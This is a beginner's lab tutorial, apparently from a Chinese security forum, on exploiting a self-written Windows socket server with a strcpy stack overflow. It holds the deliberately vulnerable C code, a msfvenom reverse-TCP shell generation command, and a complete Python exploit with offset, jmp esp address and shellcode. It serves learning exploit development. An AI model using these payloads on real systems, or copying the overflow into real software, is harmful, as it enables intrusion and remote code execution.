-
-
[原创]EXP编写学习 之 网络上的EXP(三)
-
2022-5-1 17:17 9597
-
前言
我是逆向练习生,羽墨。
我正在从0开始学习二进制漏洞,如果你也跟我一样,不妨来看看小白学习的第一视角
环境配置
软件 | 版本 |
---|---|
一个存在漏洞的服务程序 | C语言自己编写(附件下载exe) |
调试器 | windbg,x32dbg |
python | pycharm py3.8 |
漏洞程序与测试程序的编写
漏洞程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | #include <stdio.h> #include <WinSock2.h> #include <WS2tcpip.h> #pragma comment(lib,"Ws2_32.lib") SOCKET g_Socket; sockaddr_in g_addr; void Stack_Overflow(char * str ) { char buff[ 500 ] = { 0 }; strcpy(buff, str ); } int main() { / / 初始化网络库 WSADATA wsaData; if (WSAStartup(MAKEWORD( 2 , 2 ), &wsaData) ! = 0 ) printf( "WSAStartup failed with error: %d\n" , WSAGetLastError()); / / 初始化套接字 g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET = = g_Socket) { printf( "socket init error:%d\n" , WSAGetLastError()); return 0 ; } / / 绑定端口 g_addr.sin_family = AF_INET; g_addr.sin_port = htons( 5566 ); inet_pton(AF_INET, "127.0.0.1" , &g_addr.sin_addr); if (bind(g_Socket, (sockaddr * )&g_addr, sizeof(sockaddr)) = = SOCKET_ERROR) { printf( "bind error:%d\n" , WSAGetLastError()); return 0 ; } / / 监听端口 if (listen(g_Socket, 20 ) = = SOCKET_ERROR) { printf( "listen error:%d\n" , WSAGetLastError()); return 0 ; } / / 接收客户端连接与数据 printf( "Server : accept...\n" ); sockaddr_in caddr; int len = sizeof(sockaddr_in); while (true) { SOCKET s = accept(g_Socket, (sockaddr * )&caddr, & len ); if (INVALID_SOCKET = = s) { printf( "accept error:%d\n" , WSAGetLastError()); return 0 ; } printf( "accept ok IP:%s port:%d\n" , inet_ntoa(caddr.sin_addr), htons(caddr.sin_port)); char recvBuf[ 0x2000 ] = { 0 }; int ret = recv(s, recvBuf, sizeof(recvBuf), 0 ); if (ret < = 0 ) { printf( "recv error:%d\n" , WSAGetLastError()); break ; } printf( "len:%d\n data:%s" , strlen(recvBuf), recvBuf); Stack_Overflow(recvBuf); / / 溢出函数 closesocket(s); } closesocket(g_Socket); WSACleanup(); return 0 ; } |
这里可以看到,IP为本机,端口为5566 ,关闭编译选项,GS DEP ASLR ,溢出覆盖返回地址的话,不用关心safeSEH
Python测试脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #!/usr/bin/python # -*- coding: UTF-8 -*- import socket,sys def Exp(ip,port): target = ip port = port buffer = b '\x41' * 1000 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try : connect = s.connect((target,port)) print ( "connect success" ) except : print ( "connect failed" ) sys.exit( 0 ) s.sendall( buffer ) print ( "send payload" ) try : s.recv( 1024 ) except : print ( "ok" ) s.close() if __name__ = = '__main__' : Exp( '127.0.0.1' , 5566 ) |
编写EXP
1.打开服务程序,x32dbg 附加, 使用py脚本发送payload
可以看到服务程序的EIP已经被覆盖为41414141
2.现在要确定返回地址的偏移 , 可以使用 mpattern_offset工具来定位(参考笔者前面的文章) , 笔者这里定位偏移为 504
3.确定偏移后,还需要一个跳板地址,jmp esp , 来跳到shellcode执行 , 使用OD Findaddr 加载后查找
4.选择 0x75A15978 这个地址吧 , 笔者使用物理机来进行测试的, 地址只在关机前有效, 因为win10系统都有ASLR ,但是开机后映射地址是不会改变的,除非你hook这个dll
5.那么现在还需要一段 win10可以运行的 shellcode , 使用msfvenom工具来生成一个测试吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | - p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 - l, – list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all - n, –nopsled < length> 为payload预先指定一个NOP滑动长度 - f, – format < format > 指定输出格式 (使用 – help - formats 来获取msf支持的输出格式列表) - e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用 - e选项也没用 - b选项,则输出raw payload - a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64 –platform < platform> 指定payload的目标平台 - s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小 - b, –bad - chars < list > 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0A' '\x00' ; - i, –iterations < count> 指定payload的编码次数 - c, –add - code < path> 指定一个附加的win32 shellcode文件 - x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中 - k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行 –payload - options 列举payload的标准选项 - o, –out < path> 指定创建好的payload的存放位置 - v, –var - name < name> 指定一个自定义的变量,以确定输出格式 - h, – help 查看帮助选项 |
这里我们使用一个反弹shell的shellcdeo进行测试,搜索payload模块
1 | msfvenom - l payload | grep windows |
使用这个反向TCPshell模块 然后查看它所支持的格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | msfvenom - l format Framework Transform Formats [ - - format <value>] = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Name - - - - base32 base64 bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript |
好的,我们选择py , 然后查看它支持的架构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | msfvenom - l archs Framework Architectures [ - - arch <value>] = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Name - - - - aarch64 armbe armle cbea cbea64 cmd dalvik firefox java mips mips64 mips64le mipsbe mipsle nodejs php ppc ppc64 ppc64le ppce500v2 python r ruby sparc sparc64 tty x64 x86 x86_64 zarch |
这里我们选择 x86 ,最后把命令整合一下 ,生成shellcode
1 2 3 4 5 6 7 8 9 | msfvenom - f py - p windows / shell / reverse_tcp LHOST = 127.0 . 0.1 LPORT = 9999 - a x86 - b "\x00" - o ~ / Desktop / pyexp.txt - - platform Windows Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86 / shikata_ga_nai x86 / shikata_ga_nai succeeded with size 381 (iteration = 0 ) x86 / shikata_ga_nai chosen with final size 381 Payload size: 381 bytes Final size of py file : 1865 bytes Saved as: / home / kali / Desktop / pyexp.txt |
好的,看起来是成功了,测试了一下, 发现nc在win10无法使用。。没办法监听。。。。。。 懒得弄了,换个弹窗的shellcode吧
1 2 3 4 5 6 7 | msfvenom - f py - p windows / messagebox - b "\x00" - o ~ / Desktop / pymessagebox.txt - a x86 - - platform windows No badchars present in payload, skipping automatic encoding No encoder specified, outputting raw payload Payload size: 272 bytes Final size of py file : 1330 bytes Saved as: / home / kali / Desktop / pymessagebox.txt |
好的,最后的EXP是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | #!/usr/bin/python # -*- coding: UTF-8 -*- import socket,sys def Exp(ip,port): target = ip port = port buffer = b '\x41' * 504 buffer + = b '\x78\x59\xA1\x75' nops = b '\x90' * 20 shellcode = b"" shellcode + = b "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" shellcode + = b "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" shellcode + = b "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" shellcode + = b "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28" shellcode + = b "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34" shellcode + = b "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84" shellcode + = b "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24" shellcode + = b "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" shellcode + = b "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" shellcode + = b "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e" shellcode + = b "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e" shellcode + = b "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89" shellcode + = b "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68" shellcode + = b "\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" shellcode + = b "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c" shellcode + = b "\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68" shellcode + = b "\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c" shellcode + = b "\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46" shellcode + = b "\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48" shellcode + = b "\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2" shellcode + = b "\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try : connect = s.connect((target,port)) print ( "connect success" ) except : print ( "connect failed" ) sys.exit( 0 ) s.sendall( buffer + nops + shellcode + nops) print ( "send payload ok" ) try : s.recv( 1024 ) except : print ( 'ok' ) s.close() if __name__ = = '__main__' : Exp( '127.0.0.1' , 5566 ) |
最后的测试
1.打开漏洞程序,调试器附加,找到溢出函数,下断观察
2.攻击测试
这里可以看到,栈已经被41覆盖,返回地址变为我们的跳板地址,后面跟nop区 与shellcode
单步跟踪查看
成功来到栈上执行代码
F9跑起来,看看效果 (有时候生成的shellcode有问题) 好的,成功执行 ,并且程序自动退出
然后让我们直接运行程序与脚本,看看效果如何
点击确定,程序自动退出,EXP日志输出ok, Perfect
结语
1.虽然还是比较基础,但是重在动手实践,顺带熟悉了msfvenom的用法与python socket的用法
2.昨天怼一个程序怼了一天,最后发现下载的是没有漏洞的版本,好的好的,差点给我气死
3.你学废了吗(手动狗头)
参考资料
看雪EXP编写系列第四章
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法